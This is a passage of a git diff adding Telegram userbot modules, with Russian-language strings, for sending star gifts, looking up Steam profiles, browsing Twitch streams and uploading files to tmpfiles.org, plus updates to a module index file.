"Подарок"}, + {"id": 5168103777563050263, "emoji": "🌹", "name": "Роза"}, + ], + 50: [ + {"id": 5170144170496491616, "emoji": "🎂", "name": "Тортик"}, + {"id": 5170314324215857265, "emoji": "💐", "name": "Цветы"}, + {"id": 5170564780938756245, "emoji": "🚀", "name": "Ракета"}, + ], + 100: [ + {"id": 5168043875654172773, "emoji": "🏆", "name": "Кубок"}, + {"id": 5170690322832818290, "emoji": "💍", "name": "Кольцо"}, + {"id": 5170521118301225164, "emoji": "💎", "name": "Алмаз"}, + ] + } + + async def client_ready(self, client, db): + self.client = client + + async def get_star_balance(self): + try: + balance_info = (await self.client(GetStarsStatusRequest("me"))) + return balance_info.balance.amount + except Exception as e: + logging.error(f"Error getting balance: {e}") + return 0 + + @loader.command() + async def sendgift(self, message): + """- - отправить подарок пользователю (* - необязательный параметр.) Поддерживается реплай режим.""" + args = utils.get_args_raw(message) + reply = await message.get_reply_message() + if reply: + user = reply.sender + text = args if args else "" + else: + if not args: + await utils.answer(message, self.strings["usage"]) + return + parts = args.split(maxsplit=1) + if len(parts) < 1: + await utils.answer(message, self.strings["usage"]) + return + username = parts[0] + text = parts[1] if len(parts) > 1 else "" + if username.startswith('@'): + username = username[1:] + msg = await utils.answer(message, self.strings["checking_user"]) + try: + user = await self.client.get_entity(username) + except Exception as e: + logging.error(f"User not found: {e}") + await utils.answer(msg, self.strings["user_not_found"]) + return + + balance_msg = await utils.answer(message, self.strings["checking_balance"]) + try: + balance = await self.get_star_balance() + except Exception as e: + logging.error(f"Balance error: {e}") + await utils.answer(balance_msg, self.strings["balance_error"]) + return + + min_price = min(self.gift_categories.keys()) + if balance < min_price: + await utils.answer(balance_msg, self.strings["min_stars_error"]) + return + + available_categories = [price for price in self.gift_categories.keys() if balance >= price] + if not available_categories: + await utils.answer(balance_msg, self.strings["no_available_gifts"]) + return + buttons = [] + row = [] + for price in sorted(available_categories): + row.append({ + "text": f"{price} ⭐", + "callback": self._show_category, + "args": (user.id, price, text, balance, message.id), + }) + if len(row) == 2: + buttons.append(row) + row = [] + + if row: + buttons.append(row) + + await utils.answer( + balance_msg, + self.strings["gift_menu"].format( + f"@{user.username}" if user.username else user.first_name, + text if text else "-", + balance + ), + reply_markup=buttons + ) + + async def _show_category(self, call, user_id, price, text, balance, msg_id): + gifts = self.gift_categories[price] + buttons = [] + row = [] + for gift in gifts: + row.append({ + "text": gift["emoji"], + "callback": self._send_gift, + "args": (user_id, gift["id"], text, gift["emoji"], msg_id, balance), + }) + if len(row) == 3: + buttons.append(row) + row = [] + + if row: + buttons.append(row) + buttons.append([{ + "text": "⬅️ Назад", + "callback": self._back_to_categories, + "args": (user_id, text, balance, msg_id), + }]) + + try: + user = await self.client.get_entity(user_id) + user_display = f"@{user.username}" if user.username else user.first_name + except: + user_display = f"ID: {user_id}" + + await call.edit( + self.strings["category_menu"].format( + price, + user_display, + text if text else "-" + ), + reply_markup=buttons + ) + + async def _back_to_categories(self, call, user_id, text, balance, msg_id): + try: + user = await self.client.get_entity(user_id) + except: + await call.answer("Ошибка получения пользователя", show_alert=True) + return + + available_categories = [price for price in self.gift_categories.keys() if balance >= price] + + buttons = [] + row = [] + for price in sorted(available_categories): + row.append({ + "text": f"{price} ⭐", + "callback": self._show_category, + "args": (user_id, price, text, balance, msg_id), + }) + if len(row) == 2: + buttons.append(row) + row = [] + + if row: + buttons.append(row) + + await call.edit( + self.strings["gift_menu"].format( + f"@{user.username}" if user.username else user.first_name, + text if text else "-", + balance + ), + reply_markup=buttons + ) + + async def _send_gift(self, call, user_id, gift_id, text, gift_emoji, msg_id, balance): + try: + await call.edit( + self.strings["sending_gift"], + reply_markup=None + ) + + user = await self.client.get_input_entity(user_id) + inv = InputInvoiceStarGift( + user, + gift_id, + message=TextWithEntities(text, []) if text else TextWithEntities("", []) + ) + form = await self.client(GetPaymentFormRequest(inv)) + result = await self.client(SendStarsFormRequest(form.form_id, inv)) + + await call.edit(self.strings["gift_sent"]) + + except BadRequestError as e: + if "BALANCE_TOO_LOW" in str(e): + await call.edit( + self.strings["not_enough_stars"].format(gift_emoji), + reply_markup=None + ) + else: + logging.error(f"Error sending gift: {e}") + await call.edit( + f" Ошибка при отправке подарка: {str(e)}", + reply_markup=None + ) + except Exception as e: + logging.error(f"Error sending gift: {e}") + await call.edit( + f" Ошибка при отправке подарка: {str(e)}", + reply_markup=None + ) diff --git a/mead0wsss/mead0wsMods/SteamProfile.py b/mead0wsss/mead0wsMods/SteamProfile.py new file mode 100644 index 0000000..ef81bb2 --- /dev/null +++ b/mead0wsss/mead0wsMods/SteamProfile.py @@ -0,0 +1,119 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/B0ze.png + +import aiohttp +import asyncio +from telethon import events +from .. import loader, utils + +@loader.tds +class SteamProfile(loader.Module): + """Модуль для получения информации о пользователях Steam.""" + strings = {"name": "Steam Profile"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "api_key", + "", + lambda: "Ваш API ключ Steam (https://steamcommunity.com/dev/apikey)", + validator=loader.validators.Hidden(), + ), + loader.ConfigValue( + "show_games", + True, + lambda: "Показ игр пользователя (True/False)", + validator=loader.validators.Boolean(), + ), + ) + + async def steamprofilecmd(self, event): + """Получить информацию об пользователе Steam.""" + args = utils.get_args_raw(event) + if not args: + await event.edit("❌ Укажите никнейм Steam после команды.") + return + + api_key = self.config.get("api_key") + if not api_key: + await event.edit("❌ API KEY неуказан в cfg! (https://steamcommunity.com/dev/apikey)") + return + + persona_name = args.strip() + await event.edit("⏱️ Получаю информацию...") + await asyncio.sleep(5) + + steam_id = await self.get_steam_id(api_key, persona_name) + if steam_id: + player_info = await self.get_player_info(api_key, steam_id) + owned_games = await self.get_owned_games(api_key, steam_id) + + if player_info is None or 'response' not in player_info or 'players' not in player_info['response']: + await event.edit("❌ Ошибка: Не удалось получить информацию о пользователе.") + return + + response_message = await self.send_profile_info(event, player_info, owned_games) + await event.edit(response_message) + else: + await event.edit("❌ Ошибка: Никнейм не найден.") + + async def get_steam_id(self, api_key, persona_name): + url = f"https://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key={api_key}&vanityurl={persona_name}" + async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + if response.status == 200: + data = await response.json() + if data['response']['success'] == 1: + return data['response']['steamid'] + return None + + async def get_player_info(self, api_key, steam_id): + url = f"https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key={api_key}&steamids={steam_id}" + async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + if response.status == 200: + return await response.json() + return None + + async def get_owned_games(self, api_key, steam_id): + url = f"https://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key={api_key}&steamid={steam_id}&include_appinfo=true&include_played_free_games=true" + async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + if response.status == 200: + return await response.json() + return None + + async def send_profile_info(self, event, player_info, owned_games): + if player_info is None or 'response' not in player_info or 'players' not in player_info['response']: + return "❌ Нет информации о пользователе." + + player = player_info['response']['players'][0] + response = f"Информация о пользователе:\n" + response += f"👤 Ник: {player['personaname']}\n" + response += f"🔗 URL: {player['profileurl']}\n" + response += f"🧑 Настоящее имя: {player.get('realname', 'Не указано')}\n" + response += f"🔒 Видимость профиля: {'Открытый' if player['communityvisibilitystate'] == 3 else 'Закрытый'}\n" + response += f"💬 Статус: {'Онлайн' if player['personastate'] == 1 else 'Оффлайн'}\n" + response += f"🌍 Страна: {player.get('loccountrycode', 'Не указано')}\n" + response += f"🖼️ Аватарка: {player['avatarfull']}\n\n" + + if self.config.get("show_games") and owned_games and 'games' in owned_games['response']: + response += "Показ игр пользователя:\n" + for game in owned_games['response']['games']: + hours_played = game['playtime_forever'] / 60 + response += f" - {game['name']} (Время игры: {hours_played:.2f} часов)\n" + + return response if response else "❌ Нет информации о пользователе." diff --git a/mead0wsss/mead0wsMods/Twitch.py b/mead0wsss/mead0wsMods/Twitch.py new file mode 100644 index 0000000..3f163bb --- /dev/null +++ b/mead0wsss/mead0wsMods/Twitch.py @@ -0,0 +1,271 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods + +import aiohttp +from .. import loader, utils + +@loader.tds +class TwitchMod(loader.Module): + """Модуль для работы с Twitch""" + strings = {"name": "Twitch"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "CLIENT_ID", + "", + lambda: "Client ID из Twitch Dev Console [https://dev.twitch.tv/console/]", + validator=loader.validators.Hidden() + ), + loader.ConfigValue( + "ACCESS_TOKEN", + "", + lambda: "Access Token с scope user:read:follows [https://twitchtokengenerator.com/]", + validator=loader.validators.Hidden() + ), + loader.ConfigValue( + "TARGET_USERNAME", + "", + lambda: "Ваш никнейм пользователя Twitch [https://www.twitch.tv/", + validator=loader.validators.Hidden() + ), + ) + self.session = aiohttp.ClientSession() + + async def client_ready(self, client, db): + self._client = client + + async def get_user_id(self, username=None): + """Получаем ID пользователя""" + url = "https://api.twitch.tv/helix/users" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"login": username or self.config["TARGET_USERNAME"]} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data["data"][0]["id"] if data.get("data") else None + + async def get_all_followed(self, user_id): + """Получаем всех подписанных стримеров""" + url = "https://api.twitch.tv/helix/channels/followed" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"user_id": user_id} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("data", []) + + async def get_live_streams(self, logins=None, game_id=None, limit=100): + """Получаем онлайн стримы""" + url = "https://api.twitch.tv/helix/streams" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"first": limit} + + if logins: + params["user_login"] = logins[:100] + if game_id: + params["game_id"] = game_id + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("data", []) + + async def get_top_games(self, limit=10): + """Получаем топ игр""" + url = "https://api.twitch.tv/helix/games/top" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"first": limit} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("data", []) + + async def search_games(self, query): + """Поиск игр по названию""" + url = "https://api.twitch.tv/helix/search/categories" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"query": query} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("data", []) + + async def get_channel_info(self, broadcaster_id): + """Получаем информацию о канале""" + url = "https://api.twitch.tv/helix/channels" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"broadcaster_id": broadcaster_id} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("data", [{}])[0] + + async def get_channel_followers(self, broadcaster_id): + """Получаем количество фолловеров канала""" + url = "https://api.twitch.tv/helix/channels/followers" + headers = { + "Client-ID": self.config["CLIENT_ID"], + "Authorization": f"Bearer {self.config['ACCESS_TOKEN']}" + } + params = {"broadcaster_id": broadcaster_id, "first": 1} + + async with self.session.get(url, headers=headers, params=params) as resp: + data = await resp.json() + return data.get("total", 0) + + @loader.command() + async def followed(self, message): + """Показать всех подписанных стримеров""" + user_id = await self.get_user_id() + if not user_id: + await utils.answer(message, " Пользователь не найден!") + return + + followed = await self.get_all_followed(user_id) + if not followed: + await utils.answer(message, "🤷‍♂️ Нет подписок") + return + + text = "🎮 Каналы на которые зафолловлен:\n\n" + for channel in followed[:25]: + followers_count = await self.get_channel_followers(channel["broadcaster_id"]) + text += (f"📷 " + f"{channel['broadcaster_name']} [👥 {followers_count} Фолловеров]\n") + + if len(followed) > 25: + text += f"\n...и еще {len(followed) - 25} стримеров" + + await utils.answer(message, text) + + @loader.command() + async def streams(self, message): + """Показать онлайн стримы""" + user_id = await self.get_user_id() + if not user_id: + await utils.answer(message, " Пользователь не найден!") + return + + followed = await self.get_all_followed(user_id) + if not followed: + await utils.answer(message, "🤷‍♂️ Нет подписок") + return + + logins = [channel["broadcaster_login"] for channel in followed] + live_streams = await self.get_live_streams(logins[:100]) + + if not live_streams: + await utils.answer(message, "🔴 Сейчас никто не стримит") + return + + text = "🎮 Стримеры ведущие трансляцию:\n" + for stream in live_streams: + channel_info = await self.get_channel_info(stream["user_id"]) + followers_count = await self.get_channel_followers(stream["user_id"]) + text += (f'\n👤 {stream["user_name"]}' + f'
🎮 {stream["game_name"]}\n' + f'👁 {stream["viewer_count"]} зрителей\n' + f'👥 {followers_count} фолловеров\n' + f'ℹ️ {stream["title"]}\n
') + + await utils.answer(message, text) + + @loader.command() + async def streamer(self, message): + """Информация о стримере""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, " Укажите ник стримера") + return + + user_id = await self.get_user_id(args) + if not user_id: + await utils.answer(message, f" Стример {args} не найден") + return + + channel_info = await self.get_channel_info(user_id) + followers_count = await self.get_channel_followers(user_id) + + text = (f"🎮 Информация о:\n\n 👤 {args}:\n" + f"
👥 Фолловеров: {followers_count}\n" + f"ℹ️ Описание стрима (пусто = офф): {channel_info.get('title', 'Нет описания')}\n" + f"
🎮 Игра на стриме: {channel_info.get('game_name', 'Не указана')} \n" + f"🔗 Ссылка: https://twitch.tv/{args}
") + + await utils.answer(message, text) + + @loader.command() + async def topgames(self, message): + """Топ игр на Twitch""" + games = await self.get_top_games(10) + if not games: + await utils.answer(message, " Не удалось получить список игр") + return + + text = "🎮 Топ игр на Twitch:\n\n" + text += "\n".join( + f"
{i+1}. {game['name']} (ID: {game['id']})
" + for i, game in enumerate(games)) + + await utils.answer(message, text) + + @loader.command() + async def game(self, message): + """Поиск игры и стримы по ней""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, " Укажите название игры") + return + + games = await self.search_games(args) + if not games: + await utils.answer(message, f" Игра '{args}' не найдена") + return + + game = games[0] + streams = await self.get_live_streams(game_id=game["id"]) + + text = (f"🎮 Игра: {game['name']}\n" + f"🔗 Изображение: {game['box_art_url'].replace('{width}x{height}', '300x400')}\n\n") + + if streams: + text += f"🎮 Топ стримов ({len(streams)} онлайн):\n\n" + for stream in streams[:5]: + followers_count = await self.get_channel_followers(stream["user_id"]) + text += (f'👤 {stream["user_name"]}\n' + f'
👁 {stream["viewer_count"]} зрителей\n' + f'👥 {followers_count} фолловеров\n' + f'ℹ️{stream["title"]}\n
') + else: + text += "Сейчас никто не стримит эту игру" + + await utils.answer(message, text) diff --git a/mead0wsss/mead0wsMods/tmpfiles.py b/mead0wsss/mead0wsMods/tmpfiles.py new file mode 100644 index 0000000..9154469 --- /dev/null +++ b/mead0wsss/mead0wsMods/tmpfiles.py @@ -0,0 +1,96 @@ +# -- version -- +__version__ = (1, 0, 0) +# -- version -- + + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + + +# meta developer: @mead0wssMods + + + +# -- main -- +from .. import loader, utils +import io +import requests +import json +# -- main -- + + + +@loader.tds +class tmpfilesMod(loader.Module): # initialization + """Модуль для загрузки файлов на tmpfiles.org""" + + strings = { + "name": "tmpfiles", + "uploading": "🫥 Uploading file...", + "reply_to_file": " Reply to file!", + "uploaded": "❤️ Successful! File uploaded!\n\n🔗 URL: {}", + "error": " Error while uploading: {}" + } + # стринги (не мои) + strings_ru = { + "name": "tmpfiles", + "uploading": "🫥 Загружаю файл...", + "reply_to_file": " Ответьте на файл!", + "uploaded": "️❤️ Файл успешно загружен!\n\n🔗 URL: {}", + "error": " Ошибка при загрузке: {}" + } + + async def _get_file(self, message): # helper + """Helper to get file from message""" + reply = await message.get_reply_message() + if not reply: + await utils.answer(message, self.strings["reply_to_file"]) + return None + + if reply.media: + file = io.BytesIO(await self.client.download_media(reply.media, bytes)) + if hasattr(reply.media, "document"): + file.name = reply.file.name or f"file_{reply.file.id}" + else: + file.name = f"file_{reply.id}.jpg" + else: + file = io.BytesIO(bytes(reply.raw_text, "utf-8")) + file.name = "text.txt" + + return file + + @loader.command( + ru_doc = "Загрузка ваших файлов на tmpfiles.org", #loader + en_doc = "Uploading your files to tmpfiles.org" + ) + async def tmpfilescmd(self, message): # upload files + await utils.answer(message, self.strings["uploading"]) + file = await self._get_file(message) + if not file: + return + + try: + response = requests.post( + "https://tmpfiles.org/api/v1/upload", # requests + files={"file": file} + ) + if response.ok: + data = json.loads(response.text) + url = data["data"]["url"] + await utils.answer(message, self.strings["uploaded"].format(url)) + else: + await utils.answer(message, self.strings["error"].format(response.status_code)) + except Exception as e: + await utils.answer(message, self.strings["error"].format(str(e))) + + + + + +# Структура модуля (да и сама логика) взята с K:Uploader <3 diff --git a/modules.json b/modules.json index 31a56b1..03ca1a9 100644 --- a/modules.json +++ b/modules.json @@ -9,33 +9,33 @@ }, "commands": [ { - "limokacmd": "[query] - Search module with filter options" + "limokacmd": "[query] - Search module with filter options [запрос] - Поиск модуля с опциями фильтрации" }, { - "lshistorycmd": "- Showing the last 10 requests" + "lshistorycmd": "- Showing the last 10 requests - Показать последние 10 запросов" }, { - "limokadotd": "- Show the Module of the Day" + "limokadotd": "- Show the Module of the Day - Показать модуль дня" } ], "new_commands": [ { "limoka": { - "ru_doc": null, + "ru_doc": "[запрос] - Поиск модуля с опциями фильтрации", "en_doc": null, "doc": "[query] - Search module with filter options" } }, { "lshistory": { - "ru_doc": null, + "ru_doc": " - Показать последние 10 запросов", "en_doc": null, "doc": "- Showing the last 10 requests" } }, { "limokadotd": { - "ru_doc": null, + "ru_doc": "- Показать модуль дня", "en_doc": null, "doc": "- Show the Module of the Day" } @@ -46,82 +46,74 @@ "Chat" ] }, - "idiotcoders/idiotmodules/irisfarm.py": { - "name": "IrisfarmMod", - "description": "Автоматизирует работу с Iris Chat Manager (автоматическая ферма)", - "meta": { - "pic": "https://static.whypodg.me/mods!irisfarm.png", - "banner": "https://mods.whypodg.me/badges/irisfarm.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "farmcmd": "Начинает автоматический фарм. " - }, - { - "unfarmcmd": "Выключает автоферму." - } - ], - "new_commands": [ - { - "farm": { - "ru_doc": null, - "en_doc": null, - "doc": "Начинает автоматический фарм. " - } - }, - { - "unfarm": { - "ru_doc": null, - "en_doc": null, - "doc": "Выключает автоферму." - } - } - ], - "category": [ - "Chat", - "Fun" - ] - }, - "idiotcoders/idiotmodules/promote.py": { - "name": "PromoteMod", - "description": "Managing administrators rights in chats.", + "GeekTG/FTG-Modules/terminal.py": { + "name": "TerminalMod", + "description": "Runs commands", "meta": { "pic": null, - "banner": null, - "developer": "@idiotcoders" + "banner": null }, "commands": [ { - "demotecmd": " — Demote an administrator to a user. <пользователь> — Снятие прав администратора с пользователя." + "terminalcmd": ".terminal " }, { - "fullrightscmd": " [role (aka [prefix])] — Promote an user to administrator with full rights. <пользователь> [роль (aka префикс)] — Повышение пользователя до администратора с полными правами." + "aptcmd": "Shorthand for '.terminal apt'" }, { - "promotecmd": " [role (aka [prefix])] — Promote an user to administrator. <пользователь> [роль (aka префикс)] — Повышение пользователя до администратора." + "terminatecmd": "Use in reply to send SIGTERM to a process" + }, + { + "killcmd": "Use in reply to send SIGKILL to a process" + }, + { + "neofetchcmd": "Show system stats via neofetch" + }, + { + "uptimecmd": "Show system uptime" } ], "new_commands": [ { - "demote": { - "ru_doc": "<пользователь> — Снятие прав администратора с пользователя.", + "terminal": { + "ru_doc": null, "en_doc": null, - "doc": " — Demote an administrator to a user." + "doc": ".terminal " } }, { - "fullrights": { - "ru_doc": "<пользователь> [роль (aka префикс)] — Повышение пользователя до администратора с полными правами.", + "apt": { + "ru_doc": null, "en_doc": null, - "doc": " [role (aka [prefix])] — Promote an user to administrator with full rights." + "doc": "Shorthand for '.terminal apt'" } }, { - "promote": { - "ru_doc": "<пользователь> [роль (aka префикс)] — Повышение пользователя до администратора.", + "terminate": { + "ru_doc": null, "en_doc": null, - "doc": " [role (aka [prefix])] — Promote an user to administrator." + "doc": "Use in reply to send SIGTERM to a process" + } + }, + { + "kill": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to send SIGKILL to a process" + } + }, + { + "neofetch": { + "ru_doc": null, + "en_doc": null, + "doc": "Show system stats via neofetch" + } + }, + { + "uptime": { + "ru_doc": null, + "en_doc": null, + "doc": "Show system uptime" } } ], @@ -130,639 +122,34 @@ "Chat" ] }, - "idiotcoders/idiotmodules/lastfm.py": { - "name": "LastFMMod", - "description": "LastFM Now (based on SpotifyNow)", - "meta": { - "pic": "https://static.whypodg.me/mods!lastfm.png", - "banner": "https://mods.whypodg.me/badges/lastfm.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "lsearchcmd": " 👉 Search for tracks. Works without authorization <название> 👉 Поиск по трекам. Работает без авторизации" - }, - { - "ltopcmd": "[count of tracks in top] 👉 Get the top most listened tracks. You can enter the count of tracks (optional) [кол-во треков в топе] 👉 Получить топ самых прослушиваемых треков. Вы можете указать кол-во треков в топе (необязательно)" - }, - { - "lbiocmd": "👉 Toggle bio playback streaming 👉 Включить/выключить авто-био" - }, - { - "lnowcmd": "👉 Shows track, that playing right now 👉 Покажет проигрываемый сейчас трек" - } - ], - "new_commands": [ - { - "lsearch": { - "ru_doc": "<название> 👉 Поиск по трекам. Работает без авторизации", - "en_doc": null, - "doc": " 👉 Search for tracks. Works without authorization" - } - }, - { - "ltop": { - "ru_doc": "[кол-во треков в топе] 👉 Получить топ самых прослушиваемых треков. Вы можете указать кол-во треков в топе (необязательно)", - "en_doc": null, - "doc": "[count of tracks in top] 👉 Get the top most listened tracks. You can enter the count of tracks (optional)" - } - }, - { - "lbio": { - "ru_doc": "👉 Включить/выключить авто-био", - "en_doc": null, - "doc": "👉 Toggle bio playback streaming" - } - }, - { - "lnow": { - "ru_doc": "👉 Покажет проигрываемый сейчас трек", - "en_doc": null, - "doc": "👉 Shows track, that playing right now" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/toadbot.py": { - "name": "ToadBotMod", - "description": "Модуль для ухода за вашей жабой, когда вам лень или же когда у вас нет на это времени\n ", - "meta": { - "pic": "https://static.whypodg.me/mods!toadbot.png", - "banner": "https://mods.whypodg.me/badges/toadbot.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "frogcmd": "Уход за жабой | чтобы остановить пиши 'Уход за жабой стоп'" - }, - { - "eatcmd": "Кормёжка жабы | чтобы остановить используйте 'корм стоп'" - } - ], - "new_commands": [ - { - "frog": { - "ru_doc": null, - "en_doc": null, - "doc": "Уход за жабой | чтобы остановить пиши 'Уход за жабой стоп'" - } - }, - { - "eat": { - "ru_doc": null, - "en_doc": null, - "doc": "Кормёжка жабы | чтобы остановить используйте 'корм стоп'" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "idiotcoders/idiotmodules/animetools.py": { - "name": "animetoolsMod", - "description": "AnimeTools", - "meta": { - "pic": "https://static.whypodg.me/mods!animetools.png", - "banner": "https://mods.whypodg.me/badges/animetools.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "findanimecmd": "Search by picture for what anime" - }, - { - "animequotecmd": "Sends anime quotes" - }, - { - "animechar": "Sends anime quotes for specific character" - }, - { - "animeavailable": "Sends a list of available anime" - }, - { - "characteravailable": "Sends a list of available characters" - }, - { - "randomanime": "Sends a random anime" - } - ], - "new_commands": [ - { - "findanime": { - "ru_doc": null, - "en_doc": null, - "doc": "Search by picture for what anime" - } - }, - { - "animequote": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends anime quotes" - } - }, - { - "animechar": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends anime quotes for specific character" - } - }, - { - "animeavailable": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a list of available anime" - } - }, - { - "characteravailable": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a list of available characters" - } - }, - { - "randomanime": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a random anime" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/timer.py": { - "name": "TimerMod", - "description": "Module that shows the time before an event", - "meta": { - "pic": "https://static.whypodg.me/mods!timer.png", - "banner": "https://mods.whypodg.me/badges/timer.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "timecmd": "— show how much time is left before the event — показать, сколько осталось до <чего-либо>" - } - ], - "new_commands": [ - { - "time": { - "ru_doc": "— показать, сколько осталось до <чего-либо>", - "en_doc": null, - "doc": "— show how much time is left before the event" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/loliart.py": { - "name": "loliartMod", - "description": "Sends cute anime loli-art ☺", - "meta": { - "pic": "https://static.whypodg.me/mods!loliart.png", - "banner": "https://mods.whypodg.me/badges/loliart.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "lolicmd": "— Send cute loli-art — Отправит милый лоли-арт" - } - ], - "new_commands": [ - { - "loli": { - "ru_doc": "— Отправит милый лоли-арт", - "en_doc": null, - "doc": "— Send cute loli-art" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/stablediffusion.py": { - "name": "StableDiffusionMod", - "description": "Some mod for work with StableDiffusion. API KEY required!", - "meta": { - "pic": "https://static.whypodg.me/mods!stablediffusion.png", - "banner": "https://mods.whypodg.me/badges/stablediffusion.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "sdhelpcmd": "— help on using and configure the module — помощь по использованию и настройке модуля" - }, - { - "sdcmd": " — generate an image using StableDiffusion API — генерация изобраения с использованием StableDiffusion API." - } - ], - "new_commands": [ - { - "sdhelp": { - "ru_doc": "— помощь по использованию и настройке модуля", - "en_doc": null, - "doc": "— help on using and configure the module" - } - }, - { - "sd": { - "ru_doc": " — генерация изобраения с использованием StableDiffusion API.", - "en_doc": null, - "doc": " — generate an image using StableDiffusion API" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/bio.py": { - "name": "BioMod", - "description": "💘\n ", - "meta": { - "pic": "https://static.whypodg.me/mods!bio.png", - "banner": "https://mods.whypodg.me/badges/bio.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "айcmd": "[reply/arg]\nПолучает айди пользователя.\n " - }, - { - "зcmd": "[arg] [arg] [arg]....\nВ качестве аргументов используй числа или первые символы строки.\n(без них бьет по ответу с 10 патов)\n " - }, - { - "оcmd": "Заражает всех по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " - }, - { - "искcmd": "Добавляет исключения для команд .з и .о\nИспользуй: .иск {@user/@id/reply}\n " - }, - { - "зарcmd": "Список ваших заражений.\n.зар {@id} {чис.ло} {арг}\nДля удаления: .зар {@id}\n\nАргументы:\nк -> добавить букву k(тысяч) к числу.\nф/о -> поиск по ид'у/юзеру.\nр -> 